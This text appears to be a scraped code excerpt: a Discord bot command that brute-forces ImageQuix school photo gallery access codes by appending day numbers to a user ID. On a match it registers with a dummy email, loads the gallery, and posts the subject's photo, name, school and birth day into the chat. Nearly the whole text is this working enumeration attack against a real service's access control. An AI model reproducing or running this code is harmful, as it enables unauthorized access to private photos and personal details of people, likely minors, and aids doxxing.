You are on page 1of 2

if (message.content.

startsWith(prefix + "br")) {
if (true) {
var suid = message.content.substring(prefix.length + 3);
// message.channel.send('Brute forcing code, please wait').catch(e);
loadingbar = await message.channel.send(new
Discord.MessageEmbed().setImage('https://i.imgur.com/DVreLX2.gif')).catch(e);
var tdi = 'idk';
var cook = 'welp';
var galid = 'tehe'
var aerloop = -1;
var alpid = 'idkrly';
var evarray = 0;
var txtinfo = 'idktbh'
var bdotm = 'sfawegews'
for (var i = 0; i < 32; i++) {
tdi = ("0" + i).slice(-2);
await fetch(`https://vando.imagequix.com/rest/customer/191XX9Q/gallery?
keyword=${suid}${tdi}&code=${suid}${tdi}`, {
method: 'GET'
}).then(async res => res.json())
.then(async json => {
if (json[0]) {
evarray = 1;
bdotm = Math.round(tdi);
// message.channel.send(`\`\`\`json\n${JSON.stringify(json)}\n\`\`\
``).catch(e);
// message.channel.send(`Go head over to
https://vando.imagequix.com/191XX9Q?keyword=${suid}${tdi}&code=${suid}${tdi},
choose a year and use code **${suid}${tdi}** with any random dummy email like
**h@ck.com**`).catch(e);
txtinfo = json;
json.forEach(async function (arrayItem) {
aerloop += 1;
// console.log(json[aerloop].id);
alpid = json[aerloop].id;
await fetch("https://vando.imagequix.com/rest/visitor", {
"headers": {
"accept": "*/*",
"accept-language": "en-GB,en;q=0.9",
"content-type": "application/json",
"sec-fetch-dest": "empty",
"sec-fetch-mode": "cors",
"sec-fetch-site": "same-origin",
"x-requested-with": "XMLHttpRequest",
"cookie": ""
},
"referrer": "https://vando.imagequix.com/g"+ alpid,
"referrerPolicy": "strict-origin-when-cross-origin",
"body": "{\"custID\":\"191XX9Q\",\"galleryID\":"+ alpid
+",\"email\":\"n@pe.com\",\"password\":null,\"subjectCode\":\""+ suid + tdi +"\"}",
"method": "POST",
"mode": "cors"
}).then(async res => Promise.all([res, res.json()]))
.then(async ([res, json]) => {
// message.channel.send(`\`\`\`json\n${JSON.stringify(json)}\n\`\`\
``).catch(e);
// message.channel.send(json["subject"]["id"]).catch(e);
await
fetch(`https://vando.imagequix.com/rest/gallery/${alpid}/load/${json["subject"]
["id"]}`, {
"headers": {
"accept": "*/*",
"accept-language": "en-GB,en;q=0.9",
"sec-fetch-dest": "empty",
"sec-fetch-mode": "cors",
"sec-fetch-site": "same-origin",
"x-requested-with": "XMLHttpRequest",
"cookie": parseCookies(res)
},
"referrer": "https://vando.imagequix.com/g"+ alpid,
"referrerPolicy": "strict-origin-when-cross-origin",
"body": null,
"method": "GET",
"mode": "cors"
}).then(async res => res.json())
.then(async json => {
if (!json["imageData"]["categories"][0].primaryImage) return
loadingbar.edit(new Discord.MessageEmbed().setImage('https://piskel-imgstore-
b.appspot.com/img/404d0c3a-1020-11eb-977d-a115f92d2ccd.gif')).catch(e); //
something went wrong
// console.log(json);
console.log(json["imageData"]["categories"][0].primaryImage);
loadingbar.edit(new
Discord.MessageEmbed().setImage(`https://s3.amazonaws.com/iq-cache/191XX9Q/
gallery/${alpid}/600/${json["imageData"]["categories"]
[0].primaryImage}`).setDescription(`**Name:** ${toTitleCase(json["imageData"]
["categories"][0].name)}\n**School:** ${txtinfo[aerloop].title}\n**Birth(day of the
month):** ${numsuffix(bdotm)}`)).catch(e);
// message.channel.send(`**Name:** $
{toTitleCase(json["imageData"]["categories"][0].name)}\n**School:** $
{txtinfo[aerloop].title}\n**Birth(day of the month):** $
{numsuffix(bdotm)}`).catch(e);
// console.log(txtinfo);
});
});
});
// loadingbar.edit(new Discord.MessageEmbed().setImage('https://piskel-
imgstore-b.appspot.com/img/940a5270-101f-11eb-9d25-a115f92d2ccd.gif')).catch(e); //
successful
return
}
if ((i == 31) && (evarray == 0)) {
loadingbar.edit(new Discord.MessageEmbed().setImage('https://piskel-
imgstore-b.appspot.com/img/404d0c3a-1020-11eb-977d-a115f92d2ccd.gif')).catch(e); //
something went wrong
return
}
});
}
} else {
message.channel.send('This command is still in development').catch(e);
}
return
}

You might also like